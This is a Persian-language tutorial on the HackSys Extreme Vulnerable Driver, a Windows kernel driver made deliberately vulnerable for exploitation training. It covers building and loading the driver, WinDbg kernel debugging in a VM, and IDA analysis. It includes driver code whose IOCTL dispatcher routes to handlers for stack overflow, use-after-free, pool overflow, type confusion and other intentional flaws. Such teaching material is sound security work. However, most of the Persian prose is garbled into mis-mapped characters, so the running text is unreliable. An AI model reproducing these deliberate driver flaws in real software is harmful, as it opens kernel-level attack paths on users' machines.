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 Hacksys Extreme Vulnerable Driverدرایور آموسشی تحلیل 

 

 ذلاصه:

اطنلقنه هنلس ؾن       قنال انل ؾنلذتلض زضایاضهنل زض ویانسوظب اض  نل        قرتصنط  آقنالی  هسف اظ این  قالهنه    

 اؾت. زضایاض زیؽ اؾا ل و ب زی لگ زضایاضهلال  کلضاط

 زض ای  آقاظـ اه قااضز ظیط پطزاذته قیكاز:

 بکلقپلیل build  ضایاضزو اجطاس 

 زی لگ زضایاضقلزه ؾلظس قحیط اطاس آ 

 ایاضاطنلقه هلس ؾ   کلضاط ال زضض  ل  ا 

  حلیل کسهلس زضایاض HEVD 

 زضایاض لاع ض  ل  ال ا 

 

 رایوردو اجزای  build ،کامپایل

 Windowsیننل  WDKذننب اننطاس ناقننت  یننل کلقپلیننل زضاینناض زض ویاننسوظ قننال نیننلظ اننه اؿننته س     

Driver Kit ؿننره س اؿننته س قطاننا  اننه نؾننلیت قلکطوؾننل ت زاضیننس کننه قیتانیننس اظ قلکطوؾننل ت  اظ

کانی  زانلناز    ؾناضؼ کنس زضایناض کنه  نطاض اؾنت ضوس آ  کنلض       ب ظ ذاز ضا زانلاز کایس و نصب کاینس ویاسو

 کایس:

https://github.com/hacksysteam/HackSysExtremeVulnerableDriver  

 ننطاض  Builderضاه ؾننلزه  ننط اؾننتزلزه اظ اؾننهطیپت  کننه زض پاقننه  اننطاس کلقپلیننل و ایلننس کننطز  زضاینناض 

اؾننننتزلزه قیهاننننس اؾننننهطیپت   x86اؾننننت ایننننط ؾیؿننننت  نلقننننل قننننال اظ نؿننننره س     زاضز

Build_HEVD_Vulnerable_x86.bat     ضا اجنننننطا کاینننننس اه تنننننه الینننننس قانننننساض قت ینننننط

localSymbolServerPath .پننطوغه زاذننل پاقننه  هاچاننی  قیتاانیننس  ضا   ییننط زهیننسDriver  ضا اننل

  Solution Explorerاینط هانه زینع زضؾنت پنیف ض تنه القنس پا نطه س         وینػوا  اؾنتسیا انلظ کاینسب     

 اؾت: Driverقلقل هاه کسهلس زاذل پاقه 
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 .قال قیتاانیس پطوغه ضا ایلس کایسحل  

 

 زضایاض ال قا ایت ایلس قسه اؾت. صایط اللا نكل  قیسهس که 
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 میتونم این درایور و اجزا کنم؟ چطور

 زنطا کنه   اؾنتزلزه قیهنا .   Xp sp3 ویانسوظ  زض این  آقناظـ قن  اظ ؾیؿنت  نلقنل     اجنطاس زضایناض   اطاس 

ب کننه اظ ویؿننتل اننه اشننس انتكننلض پیننسا کطزنننس    قلکطوؾننل تجسیننس  ایتنن  44ؾیؿننت  نلقننل هننلس   زض

. انسی  قشان  کنه قنال     ا نعوزه قنسه اؾنت    انه ؾیؿنت  نلقنل   قهلنیؿا  ق ا  اط ث ت زضایاضهلس جلن   

. قگنط  و ؾنپؽ اجنطا کاینس    الضینصاضس جنلن    زض ؾیؿت  نلقل هنلس جسینس انه ؾنلزی  زضایناض      نایتاانیس 

زضایناض زاضاس اقانل زی یتنله     ) زضایاض ضا   لا انه صناضد زی یتنله  زض ؾیؿنت  ث نت کنطزه القنیس       ایاهه 

 اؾتزلزه قیها . Xpزض نتی ه اظ ؾیؿت  نلقل  ذب زاضیاض  اطیا  قل  ل س اقال اؾت .(القس

 س زضایاض و الضیصاضس کای ؟حللا ز اض

زضایناض ااایؿنی  اقنل  نطجی  قینس       انه اطنلقنه کازنر انطاس الضینصاضس       APIال اؾتزلزه اظ  ااانع  قیتانی  

 osronline.comاؾننتزلزه کننا  کننه قیتانیننس اظ واؿننلیت  OsrLoaderآقننلزه اس اننه نننل  کننه اظ ااننعاض 

 زضیل ت کایس.

 
قؿننیط زضاینناض کننه  ننطاض اؾننت الضیننصاضس قنناز ضا اننه  یلننس  اننطاس الضیننصاضس زضاینناض  اننط کننل   هؿننت  

Driver Path    اسیننس ؾننپؽ زکاننه سRegister Service  و ؾننپؽStart Service   ضا انترننل

 ق ت  اط قا ق ااز  نالیلد قااجه ذااهیس قس.کایس ایط هاه زیع زضؾت پیف ضوز ال پی ل  
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 دیباگ درایورماده ساسی محیط بزای آ

یننل  VMwareقننل نیننلظ اننه یننر قلقننی  ق ننلظس ق ننل       زضاینناض زض ؾنن   کطنننل   س زی ننلگ اننطا

Virtualbox   کننه اننطوس آ  ویاننسوظXp  ؾنن   کطنننل زاضینن  کننه اظ زی ننلیط یننرو  ننطا زاضز Windbg 

 .اؾتزلزه ذااهی  کطز

و  قلقننی  ق ننلظس اننل زی ننلیط ضا هیاننر کاننی  اننطاس زی ننلگ ؾنن   کطنننل یننر زضاینناض لاظ  اؾننت کننه   

ضا کنه زض   Xp شنل  کانی  انه این  قاوناض ویانسوظ       ضا زض ؾیؿنت  نلقنل هنسف     Debugهاچای   لالیت 

 اجطا کایس.قلقی  ق لظس  طاض زاضز ضا 

ینننل   System Configuration Utility لینننل  Runاظ ططینننق  XPپنننؽ اظ انننللا آقنننس  ویانننسوظ 

msconfig  ضا اجنننطا کاینننس و انننه  نننبBOOT.ini زکانننه و انننطوس  قطاجشنننه کاینننسAdvanced 

Options و اطوس زکاه س  کلیر کایس و قاساض ظیط ضا واضز کایسOK کلیر کایس 

 

اطاس هیار کط  ؾیؿت  ق نلظس انل زی نلیط ضاه هنلس قرتلزن  وجناز زاضز کنه قنل  صنس زاضین  اظ پناضد            

 .هل اه ای  قاواض اؾتزلزه کای 

 Edit virtual machineکاینننس و اظ یعیانننه س  Shutdownضوس قلقنننی  ق نننلظس ضا  ویانننسوظ

setting    زضاینناض قطاننا  اننهPrinter  ضاRemove ؾننپؽ اظ اننل ظز  زکاننه س    کایننسAdd  یننر

 پاضد ؾطیل  ضا اضل ه کایس
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زض قطحلننه س و  اؾننتزلزه کایننس Output to named pipeنصننب پنناضد یعیاننه س زض  ؿننات اشننس 

 Namespaceنننل  کننه یننر   ضا انترننل  کایننس اه تننه  طقننت پیكننط      Named pipeنننل  آذننط 

اه تنه ننل  پناضد انل     . ینل..  com_3 انط اؾن  پناضد ضا   یینط زهینس قن لا       نهلیتنل  قی لقس ضا   ییط نسهیس 

 . شیطف کطزیس الیس یه  القس BOOT.iniنلق  که زض  لیل 

 Fileقانناس و اظ  ضا اجننطا کایننس Windbgذننب قلقننی  ق ننلظس ضا زض هاننی  حننل  ضهننل کایننس و زی ننلیط 

و اطلانننلد  انترننل  کایننس  COMضا انترننل  کایننس و ؾننپؽ  ننب    ..Kernel Debugیعیاننه س ضا 

 اللا ان ل  زازه ایسب  اوی  کایسیال   که زض زضذااؾت قسه ضا هالناس  او

 
 زی لیط قاتوط ا صل  پاضد ؾطیل  قیالنس: OKپؽ اظ  كطز  زکاه س 
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زی نلیط   زینع زضؾنت پنیف ض تنه القنس      ت که قلقی  ق لظس ضا ضوقن  کاینس. اینط هانه    ذب و ت آ  اؾ

 ضا نكل  قیسهس.اطلانلد ویاسوظ ضوس قلقی  ق لظس 

 

 

 ایوربزنامه های سطح کاربز با دررتباط ا

 اض  ل  یاظض قس ال زضایاض اه زاس ططیق اقهل  پصیط اؾت:

زض  لینننل  DeviceIoControlاطنلقنننه هنننلس ناقنننت  قنننسه زض ؾننن   کنننلضاط انننل اؾنننتزلزه اظ  نننلاع 

Kernel32.dll ضااننط اطنلقننه نایؿنن     .زازهننلس قنناضز نوننط ضا اننه زضاینناض اضؾننل  قیهاننس      قیتااناننس

DeviceIoControl     اظ  انلس کنلضاط انه زضایاضهنلس کطننل زازه اضؾنل          اهل  نلاش  نیؿنت کنه قیتااننس

زیگننط  اااننع اس   CloseFileو  CreateFileب WriteFileب ReadFileقلناننس  IOکاننس.  اااننع کننلض اننل   

ننه زضایاضهنل زض    (هنل  )زؾنتگله  Deviceاطنلقنه هنل انل     اه تنه  هؿتاس که قیتااناس ای  کنلض ضا ان نل  زهانس.   

یشانننن   قنننناضز نوننننط  زضاینننناضِ تگلهزؾننننهاننننس  ااتننننسا الیننننس    شلقننننل هؿننننتاس پننننؽ  

HacksysExtremeVulnerableDriver ( یل اه اذتصلضHEVD )ی ضا اسؾت آوض. 

زض  MSDNاؾنننتزلزه کانننی ب ضاهاانننلس  CreateFileقیتانینننس اظ  نننلاع انننطاس اسؾنننت اوضز  هانننس  

 ضاا ه ال ای   لاع ناقته اؾت:

Creates or opens a file or I/O device. 

  ینل زؾنتگله انطاس انناات قرتلن      انطاس زؾتطؾن  انه  لینل      قن   ااننس   کنه اؾنت   س ذطوج   لاع هاس 

I/O.اؾتزلزه قاز 

https://msdn.microsoft.com/en-us/library/windows/desktop/aa363216(v=vs.85).aspx
https://msdn.microsoft.com/en-us/library/windows/desktop/aa363858(v=vs.85).aspx
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زض  ؿننات ضا اننه زؾننتگله اضؾننل  قیهاننس زض اینن  قنناضز     IOCTLکننسهلس  DeviceIoControl ننلاع 

 اطضؾ  قیهای ..اشسس یشا   حلیل کس زضایاض 

 

 "HEVDتحلیل کدهای درایور "

ضا کنه   HEVD.sysاؾنتزلزه قیهانی  پنؽ  لینل      IDAاطاس  حلینل کنسهلس زضایناض قنل اظ زینؽ اؾنا لط       

 لینننل کنننه الضینننصاضس کاینننس  اجنننه زاقنننته القنننیس     IDAکنننطزی  ضا زض  buildزض  ؿنننات او  

HEVD.pdb   زضایناض ضا زاقنته القنی .     نطاض زاقنته القنیس کنه اطلاننلد زی نلگ      ضا زض کالض  لیل زضایناض 

 ال ای  صزحه قااجع قیكایس: IDAپؽ اظ الضیصاضس زضایاض زض 

 
حهنن   DriverEntryاؾننت کننه زض زایاضهننل  DriverEntryپننطـ اننه  ننلاع  ؿننات  کننه هلیلایننت قننسه 

EntryPoint  ضا ایزننل قیهاننس هالناننس  لیننل هننلس اؾننت قحننل قننطوت اطنلقننه کننه ضاdynamic load 

library  که اظ  لاعDllMain  اؾتزلزه قیهاس یل  لاعMain  زض ظال  ؾ. 

زض نتی نه   اؾنت  GsDriverEntry نلاع  الضینصاضس قنس  زضایناض اوهنی   نلاش  کنه اجنطا قیكناز         پؽ اظ 

 اطاس قطوت  حلیل کسهلس زضایاض اطوس  ؿات هلیلایت قسه یشا 

 Jmp     _DriverEntry@8  

 زض ااتساس کس ناقته قسه اؾت:. زوالض کلیر کایس

int __stdcall DriverEntry(_DRIVER_OBJECT *DriverObject, _UNICODE_STRING 

*RegistryPath) 

 ای   لاع زو پلضاقتط زاضز.
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 اقنلضه قیهانس   قتشنسزس  قانلزیط انه   کنه  اؾنت  ؾنلذتلضس  کنه  اؾنت  DriverObjectپلضاقتط او   -

 قننس  Unload هاگنل   قانساضزض  این   اؾنت  DriverUnload اقنلضه انه  نلاع    کنه یهن  اظ آنهنل   

 .قاز ق  ظزه صسا زضایاض

 ضا هقننس ث ننت ضجیؿننتطس زض قننل زضاینناض قؿننیط پننلضاقتط اینن  اؾننتب RegistryPathپنلضاقتط زو    -

 .زاضز ذاز زض

کنه   اشنسس قاتانل قیكناز   زض انتهلس ضو ی  یر قط  وجاز زاضز کنه اینط زضؾنت اجنطا قناز انه ضو نی         

 زض آ   طاض زاضز:اطلانلد قزیسس 

 
زو  اینن  ضقننته هننلس کطنننل اؾننتزلزه قیكنناز کننه پننلضاقتط اننطاس ای ننلز  RtlInitUnicodeString ننلاع 

اظ  NULLاؾننننت کننننه اننننه یننننر کننننلضاکتط  wide character string ننننلاع یننننر ضقننننته 

UNICODE_STRING  .کطنننننننل ویاننننننسوظ اظ یننننننر ؾننننننلذتال ای ننننننلز قننننننسه اؾننننننت 

UNICODE_STRING   اؾننتزلزه قیهاننس کننه اظ ضقننته هننلسwide character  یننل کننلضاکتط یؿننتطزه

 قتزلود اؾت. کلضاطزض  الس 

زض قت یننطس اننه نننل     RtlInitUnicodeStringزض  صننایط اننللا پننلضاقتط زو  اوهننی   طاذنناان   ننلاع      

aDeviceHacksyse     شذیننطه قننسه اؾننت کننه هاننلن اض کننه اظ نننل  قت یننط پیساؾننت یننرDevice 

Name  یلNT Device Name :اؾت که اطااط اؾت ال 

\Device\HackSysExtremeVulnerableDriver 

https://msdn.microsoft.com/en-us/library/windows/hardware/ff561934(v=vs.85).aspx
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 aDosdevicesHackزض قت یننط زیگننطس اننه نننل     RtlInitUnicodeString طاذنناان   ننلاع  زوقننی  

 اؾت و اطااط اؾت ال : DOS Device Nameشذیطه قسه اؾت که قلقل 

\DosDevices\HackSysExtremeVulnerableDriver 

 

NT Device Name وDOS Device Name : 

هنلس قطانا  انه  لینل اؾنتزلزه قن         API ینل زؾنتگله هنل اظ    ق  هنل زض ویاسوظ اطاس زؾتطؾ  اه یهؿطس 

هنلس ویانسوظ کنس ؾیؿنتا  ناقنته القنیس احتانللا قن  زانینس کنه انل  نلاش               API و                 Cایط   لا ال  .قاز

 ینل  ReadFile ق نل  انل  ناااش    او  یر هاس  اظ زؾنتگله قطااطنه قن  ینط یت  اشنس      CreateFile ق ل

WriteFile  ضاط و زضاینناض هننلس ؾنن   لاطنلقننه ؾنن   کنن زض وا ننع  .زازه قنن  ذاانننسی  و قنن  ناقننتی

قنال  زضایناض  کطنل زیگنط زؾتطؾن  قؿنتای  انه زضایناض قنال نساضننس و انطاس ایاهنه زیگنطا  اتاانانس انه             

از زو ذن  Device Name اؿنلظیس این     Device Name زضذااؾنت  ازطؾنتاس اصن لاحل الینس ینر     

 :نات اؾت

NT Device Name     و کنسهلس ؾن   کطننل     زضایاضهنل  انطاس زیگنط    انط  لانل زؾنتطؼ    کنه این  ننل

قنطوت   Device\این  ننل  هنل انل ن نلضد       .ننل  زؾتطؾن  نساضننس   انه این     ضاطلاطنلقه هلس ؾ   کن  و اؾت

 ق  قانس.

 DOS Device Name اینن  . کاننسقنن   قهیننل ضا کننلضاط ؾنن   هننلس اطنلقننه زؾتطؾنن  اقهننل  نننل  اینن

 قطوت ق  قانس. DosDevices\ ن لضد ال ه  نلقهل

کنه قنلقل قانساض ظینط      NT Device Name الینس اظ ننل    HEVDزضایناض  قنل انطاس اض  نل   انل      زض نتی ه

 اؾتزلزه کای . اؾت

\DosDevices\HackSysExtremeVulnerableDriver 

 IoCreateDeviceزض نهلیت ای  ضو نی  کنه زض ذنط آذنط نهنؽ انللا قكنلهسه قیهاینس  نلاش  انل ننل             

 NT Deviceای ننلز قیهاننس کننه قننلقل   device object. اینن   ننلاع یننر   طاذنناان  قننسه اؾننت 

Name .اؾت 

زنر کنطز  ذ لهنلس    زض ظقنل  الضینصاضس زضایناض هانه زینع انه زضؾنت  پنیف ض تنه القنس پنؽ اظ            ایط 

 احتاله  نهلیتل اه ضو ی  ظیط قیطؾی 

https://msdn.microsoft.com/en-us/library/windows/hardware/ff548397(v=vs.85).aspx
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کننه اؾننت  IoCreateSymbolicLinkزض اینن  ضو ننی  یننر  طاذنناان  وجنناز زاضز کننه قطاننا  اننه  ننلاع  

این  زو   جنعو پلضاقتطهنلس  نلاع هؿنتاس     Device Nameو  DOS Device Name قنته حنلوس ننل    ض

این  کنلض حتانل الینس ان نل        .قنانس قتصنل قن     IoCreateSymbolicLink ال ه   اؾط  نلاش  انه ننل    

قال ای لز قنسه القنس و زنا  اطنلقنه ؾن   کنلضاط زؾتطؾن  انه این  ننل  ننساضز             NT قاز یشا  الیس نل 

این  کنسس اؾنت کنه این  ننل  هنل         نیلظ اؾت نلق   شطی  کای  که زض ؾن   کنلضاط  لانل زؾتطؾن  القنس     

 .وت ق  قانسقط  \.\\ال ن لضد Symbolic Link نل  هلس و ضا ای لز قیهاس

یننر نا ننه س  اننطاس ازاقننه کننلض اؾننتزلزه کاننی . Windbgذننب و ننت آ  ضؾننیسه اؾننت کننه اظ زی ننلیط 

  ل اتاانی  زؾتاضاد قاضز نوط ضا اجطا کای . ای لز کایس BreakPoint ا   یل 

 قل ضا نالیف قیسهس: Xp الق  قلغو  هلس الضیصاضس قسه اطوس ویاسوظ  lmزؾتاض 

https://msdn.microsoft.com/en-us/library/windows/hardware/ff549043(v=vs.85).aspx
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زی نلیط ضا   gضا زض ویانسوظ الضینصاضس کانی  زض نتی نه انل زؾنتاض        HEVDذب حل  نیلظ اؾنت کنه زضایناض    

ضا  شننل  کایننس زض اینن  حلهننت   Verbose Outputیعیاننه  Viewقتا نن  قیؿننلظی  ؾننپؽ اظ قانناس  

 قنل الضینصاضس قناز قنل اطلاننلد زضایناض ضا زض زی نلیط قكنلهسه قیهانی .          Xpایط زضایناضس انطوس ویانسوظ    

الضیننصاضس قیهاننی .  Xpضا زض ویاننسوظ  HEVDقیننطوی  و زضاینناض  OSR Loaderذننب ؾننطان اطنلقننه س 

 زض زی لیط نالیف زازه قیكاز. HEVDایط هاه زیع اه زضؾت  پیف ض ته القس اطلانلد زاضیاض 
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پینسا  انطاس   .)نا نه  ا نق( ای نلز کاینس     bpحل  اطاس اسؾت آوضز  اطلاننلد اظ زضایناض قناضز نونط ینر      

کننه پننلضاقتط اینن  زؾننتاض  اؾننتزلزه قیهاننی  drvobj!اظ زؾننتاض ( Driver Objectقنن  زضاینناض ) کننطز 

اؾنت پنؽ زؾنتاض انه صناضد کلقنل انه این           HEVDنل  زایاض اؾت ذب زض  صنایط انللا ننل  زضایناض قنل      

 صاضد اؾت:

!drvobj HEVD 

 

 

Driver Object  زیؿت؟ 

زض  اؾنت  Driver Object ؾیؿنت  نلقنل ینر    هنط زضایناضس کنه زض ؾیؿنت  هناز قنسه القنس اظ زینس        

 Object و... ضا انه صناضد   نند   پاقنهب  طایانسب   وا ع زض ؾیؿت  نلقنل ویانسوظ ذیلن  زیعهنل ق نل  لینلب      

قنن  ایاننس. هننط کننسا  اظ اینن  آا هتهننل اننطاس ذنناز ؾننلذتلض قكرصنن  زاضنننس. اننطاس آا هننت زضاینناض زض    

 .زاضی  DRIVER_OBJECT_ ویاسوظ قل ؾلذتلضس اه نل 

قیتناانی  انه ؾنلذتلض     dtاؾنت کنه انه وؾنیله زؾنتاض       آزضؼ قن  قنلقل   )نهنؽ انللا(   ج  زؾنتاض ذطو

 آ  نگله  ایلنساظی ب زؾتاض اه ای  صاضد اؾت:

!dt nt!_DRIVER_OBJECT 8624e8f8 
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کننه قاننساض  یلننس ) 0xedfe91b6زض آزضؼ  الضیننصاضس قیكننازکننه زضاینناض هاگننلق   ننلاع ضاه انننساظ اوهیننه 

DriverInit ایننط ایننلز زاقننته القننیس نننل   ننلاع   ننطاض زاضز (اؾننتGsDriverEntry  زض او  آقنناظـ اننه

 MajorFunctionقاننساض  یلننس نهتننه س قهنن  زیگننط  .زاضینناض انناز (EntryPoint) نانناا  نا ننه وضوز

 اؾت.

 

MajorFunction زیؿت؟ 

طنطف زضایاضهنلس   این  اض  نل  قن   ااننس اظ     )زاقنته القنس    اض  نل   هط زضایاض اطاس ایاهه ال زنینلس اینطو   

 ـ      ضا قانساض زهن     MajorFunciton قلنع  اؾنت آضاینه    (زیگط یل اظ طنطف اطنلقنه هنلس ؾن   کنلضاط انل

اینط ز نت کاینس     بضزه  این  آضاینه قتزنلود ذااهنس اناز     کاس. اؿته انه ننات و کنلضکطز زضایناض قنال قانسا      

 I/O Request Packet قرتصننط قننسه IRP قننطوت قنن  قننانس IRP هاننه اینن   شننلضی  اننل ن ننلضد

 .اؾننت IRP  اننل  زضذااؾننت هننلی  کننه اننه زضاینناض قیطؾننس اننه اصنناضد یننر ؾننلذتلض        . اؾننت

هننل قنن   ااناننس زضذااؾننت ذنناز ضا اننه زضاینناض   API اطنلقننه هننلس ؾنن   کننلضاط اننل  طاذنناان  یهؿننطس 

و زض قالاننل زض  API ازطؾننتاس. و  ننلاع قطاننا  اننه زضذااؾننت زض زضاینناض اجننطا قنناز زض پننلیی  هیؿننت  

 نكل  قیسه :ذااؾت  که  اهیس ق  قاز 

CreateFile = IRP_MJ_CREATE 

ReadFile = IPR_MJ_READ 

WriteFile  = IRP_MJ_WRITE 

CloseFile  = IRP_MJ_CLOSE 

DeviceIoControl = IRP_MJ_DEVICE_CONTROL 

ب ق  ناض هؿننتی  انه ؾناضؼ کنس زضایناض نگنله  ایلنننساظی        MajorFunctionذنب انطاس  اضنی  اهتنط     

 107ضا انننلظ کاینننس زض ذنننط  Driverزض پاقنننه  HackSysExtremeVulnerableDriver.c لینننل 

 کس ظیط ناقته قسه اؾت:

DriverObject->MajorFunction[IRP_MJ_CREATE]         = IrpCreateCloseHandler; 

DriverObject->MajorFunction[IRP_MJ_CLOSE]          = IrpCreateCloseHandler; 

DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = IrpDeviceIoCtlHandler; 

زض ای  زضایاض ؾه زضذااؾت کاتط  ق  قناز کنه زو  نل اظ این  زضذااؾنت هنل  اؾنط ینر  نلاع اطضؾن            

هؿنتاس کنه کاتنط  اطذن  زضذااؾنت هنل اطایكنل  اج نلضس اؾنت.           زضذااؾنت هنل   اظ یهؿنطس  ق  قناز. 



افسکتیم پژوهشی   

 
14 

انطاس قنل قیزطؾنتس ) ینل زض     ب قنل قن  قناز    زض وا ع و ت  ؾیؿت  نلقل زضذااؾت  کنه قطانا  انه زضایناض    

انه این  زضذااؾنت     قطانا  انه آ  زضذااؾنت ضا صنسا قن  ظننس( انتونلض زاضز        Major Function وا نع 

 .زه قازپلؾر  اظ ططف زضایاض اه ؾیؿت  نلقل زا

 و IRP_MH_CREATE وظیزنننه کاتنننط  زضذااؾنننت هنننلس IrpCreateCloseHandler   نننلاع

IRP_MJ_CLOSE   اه ای   لاع ضا زض ظیط ق  ایایس ضا زاضز. کس قطاا: 

NTSTATUS IrpCreateCloseHandler(IN PDEVICE_OBJECT DeviceObject, IN PIRP 

Irp) { 

    Irp->IoStatus.Information = 0; 

    Irp->IoStatus.Status = STATUS_SUCCESS; 

    UNREFERENCED_PARAMETER(DeviceObject); 

    PAGED_CODE(); 

    // Complete the request 

    IoCompleteRequest(Irp, IO_NO_INCREMENT); 

    return STATUS_SUCCESS; 

} 

وا نع انه ذنلطط اج نلضس اناز  پلؾند        زض زهنس. ایط اه کس ز ت کایس ق  ایایس  اطی نل کنلضس ان نل  نان      

اه ای  زضذااؾت ق  اضی  اه ای  صاضد نانل کانی . انه صناضد کلن  این  کنس انه ؾیؿنت  نلقنل قن             

 :زضذااؾت قطااطه  اؾط زضایاض اطضؾ  قس و ذ لی  ضخ نسازب ال ای  کس اولا یایس که

Irp->IoStatus.Information = 0; 

Irp->IoStatus.Status = STATUS_SUCCESS; 

ای  کس قن  ینایی  این  زضذااؾنت زض این  قطحلنه انه ا انل  ضؾنیسه وانه ؾیؿنت  نلقنل نیعانل               زض زوقل

ای   لاع انلا  قیهای . قلیس الا  ای  کنس ظینلز قشان  نساقنته القنس. وهن  انه هنط حنل  این  کنلض ضا الینس             

زضیل نت آنهنل انه ؾیؿنت      زض قاضز زضذااؾت هلی  که کلضس انل آنهنل ننساضی  وهن  الینس پلؾنر  زض   نل         

 نلقل ازطؾی  ان ل  زهی .

IoCompleteRequest(Irp, IO_NO_INCREMENT); 
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کنه قن  قناز یزنت قهاتنطی   ؿنات اظ کنس این           IrpDeviceIoCtlHandler حللا قیطؾنی  انه  نلاع   

زض این   نلاع زضذااؾنت  کنه اظ ؾنات کنلضاط قن  آینس اطضؾن  قن  قناز و قتالؾنب انل زض               زضایاض اؾنت 

 :ضس ضا ان ل  ق  زهسذااؾت کل

NTSTATUS IrpDeviceIoCtlHandler(IN PDEVICE_OBJECT DeviceObject, IN PIRP 

Irp) { 

    ULONG IoControlCode = 0; 

    PIO_STACK_LOCATION IrpSp = NULL; 

    NTSTATUS Status = STATUS_NOT_SUPPORTED; 

    UNREFERENCED_PARAMETER(DeviceObject); 

    PAGED_CODE(); 

    IrpSp = IoGetCurrentIrpStackLocation(Irp); 

    IoControlCode = IrpSp->Parameters.DeviceIoControl.IoControlCode; 

    if (IrpSp) { 

        switch (IoControlCode) { 

            case HACKSYS_EVD_IOCTL_STACK_OVERFLOW: 

                DbgPrint("****** HACKSYS_EVD_STACKOVERFLOW ******\n"); 

                Status = StackOverflowIoctlHandler(Irp, IrpSp); 

                DbgPrint("****** HACKSYS_EVD_STACKOVERFLOW ******\n"); 

                break; 

            case HACKSYS_EVD_IOCTL_STACK_OVERFLOW_GS: 

                DbgPrint("****** HACKSYS_EVD_IOCTL_STACK_OVERFLOW_GS 

******\n"); 

                Status = StackOverflowGSIoctlHandler(Irp, IrpSp); 

                DbgPrint("****** HACKSYS_EVD_IOCTL_STACK_OVERFLOW_GS 

******\n"); 

                break; 

            case HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE: 

                DbgPrint("****** HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE 

******\n"); 

                Status = ArbitraryOverwriteIoctlHandler(Irp, IrpSp); 
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                DbgPrint("****** HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE 

******\n"); 

                break; 

            case HACKSYS_EVD_IOCTL_POOL_OVERFLOW: 

                DbgPrint("****** HACKSYS_EVD_IOCTL_POOL_OVERFLOW 

******\n"); 

                Status = PoolOverflowIoctlHandler(Irp, IrpSp); 

                DbgPrint("****** HACKSYS_EVD_IOCTL_POOL_OVERFLOW 

******\n"); 

                break; 

            case HACKSYS_EVD_IOCTL_ALLOCATE_UAF_OBJECT: 

                DbgPrint("****** HACKSYS_EVD_IOCTL_ALLOCATE_UAF_OBJECT 

******\n"); 

                Status = AllocateUaFObjectIoctlHandler(Irp, IrpSp); 

                DbgPrint("****** HACKSYS_EVD_IOCTL_ALLOCATE_UAF_OBJECT 

******\n"); 

                break; 

            case HACKSYS_EVD_IOCTL_USE_UAF_OBJECT: 

                DbgPrint("****** HACKSYS_EVD_IOCTL_USE_UAF_OBJECT 

******\n"); 

                Status = UseUaFObjectIoctlHandler(Irp, IrpSp); 

                DbgPrint("****** HACKSYS_EVD_IOCTL_USE_UAF_OBJECT 

******\n"); 

                break; 

            case HACKSYS_EVD_IOCTL_FREE_UAF_OBJECT: 

                DbgPrint("****** HACKSYS_EVD_IOCTL_FREE_UAF_OBJECT 

******\n"); 

                Status = FreeUaFObjectIoctlHandler(Irp, IrpSp); 

                DbgPrint("****** HACKSYS_EVD_IOCTL_FREE_UAF_OBJECT 

******\n"); 

                break; 
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            case HACKSYS_EVD_IOCTL_ALLOCATE_FAKE_OBJECT: 

                DbgPrint("****** HACKSYS_EVD_IOCTL_ALLOCATE_FAKE_OBJECT 

******\n"); 

                Status = AllocateFakeObjectIoctlHandler(Irp, IrpSp); 

                DbgPrint("****** HACKSYS_EVD_IOCTL_ALLOCATE_FAKE_OBJECT 

******\n"); 

                break; 

            case HACKSYS_EVD_IOCTL_TYPE_CONFUSION: 

                DbgPrint("****** HACKSYS_EVD_IOCTL_TYPE_CONFUSION 

******\n"); 

                Status = TypeConfusionIoctlHandler(Irp, IrpSp); 

                DbgPrint("****** HACKSYS_EVD_IOCTL_TYPE_CONFUSION 

******\n"); 

                break; 

            case HACKSYS_EVD_IOCTL_INTEGER_OVERFLOW: 

                DbgPrint("****** HACKSYS_EVD_IOCTL_INTEGER_OVERFLOW 

******\n"); 

                Status = IntegerOverflowIoctlHandler(Irp, IrpSp); 

                DbgPrint("****** HACKSYS_EVD_IOCTL_INTEGER_OVERFLOW 

******\n"); 

                break; 

            case HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE: 

                DbgPrint("****** 

HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE ******\n"); 

                Status = NullPointerDereferenceIoctlHandler(Irp, IrpSp); 

                DbgPrint("****** 

HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE ******\n"); 

                break; 

            case HACKSYS_EVD_IOCTL_UNINITIALIZED_STACK_VARIABLE: 

                DbgPrint("****** 

HACKSYS_EVD_IOCTL_UNINITIALIZED_STACK_VARIABLE ******\n"); 
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                Status = UninitializedStackVariableIoctlHandler(Irp, IrpSp); 

                DbgPrint("****** 

HACKSYS_EVD_IOCTL_UNINITIALIZED_STACK_VARIABLE ******\n"); 

                break; 

            case HACKSYS_EVD_IOCTL_UNINITIALIZED_HEAP_VARIABLE: 

                DbgPrint("****** 

HACKSYS_EVD_IOCTL_UNINITIALIZED_HEAP_VARIABLE ******\n"); 

                Status = UninitializedHeapVariableIoctlHandler(Irp, IrpSp); 

                DbgPrint("****** 

HACKSYS_EVD_IOCTL_UNINITIALIZED_HEAP_VARIABLE ******\n"); 

                break; 

            case HACKSYS_EVD_IOCTL_DOUBLE_FETCH: 

                DbgPrint("****** HACKSYS_EVD_IOCTL_DOUBLE_FETCH ******\n"); 

                Status = DoubleFetchIoctlHandler(Irp, IrpSp); 

                DbgPrint("****** HACKSYS_EVD_IOCTL_DOUBLE_FETCH ******\n"); 

                break; 

            default: 

                DbgPrint("[-] Invalid IOCTL Code: 0x%X\n", IoControlCode); 

                Status = STATUS_INVALID_DEVICE_REQUEST; 

                break; 

        } 

    } 

    Irp->IoStatus.Status = Status; 

    Irp->IoStatus.Information = 0; 

    // Complete the request 

    IoCompleteRequest(Irp, IO_NO_INCREMENT); 

    return Status; 

} 

 .قكرص قسه  طقل  هلی  اؾت که اظ ططف کلضاط ق  آیس case قاساضهلی  که اطاس هط زؾتاض
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زض اینن  ؾننلذتلض یننر  MajorFunctionزض نتی ننه نا ننه س وضوزس  ننلاع اننه زی ننلیط اطیننطزی ب پننؽ  

ؾن ط ایانسکؽ    ااانع زض هنط   . این  جنسو    اؾنت  MajorFunctionاقلضه یط انه اوهنی  آینت  اظ جنسو      

قنلیل  شکنط اؾنتب ایانسکؽ      یر ننات قتزنلو   اظ زضذااؾنت هنل ضا نانلیف قن  زهنس.        هط ایاسکؽ زاضز.

اننه نانناا  ق ننل ب هاگننلق  کننه قننل  صننس زضاینن    قننطوت قیكننانس. _IRP_MJاننل  wdm.hهننل زض  لیننل 

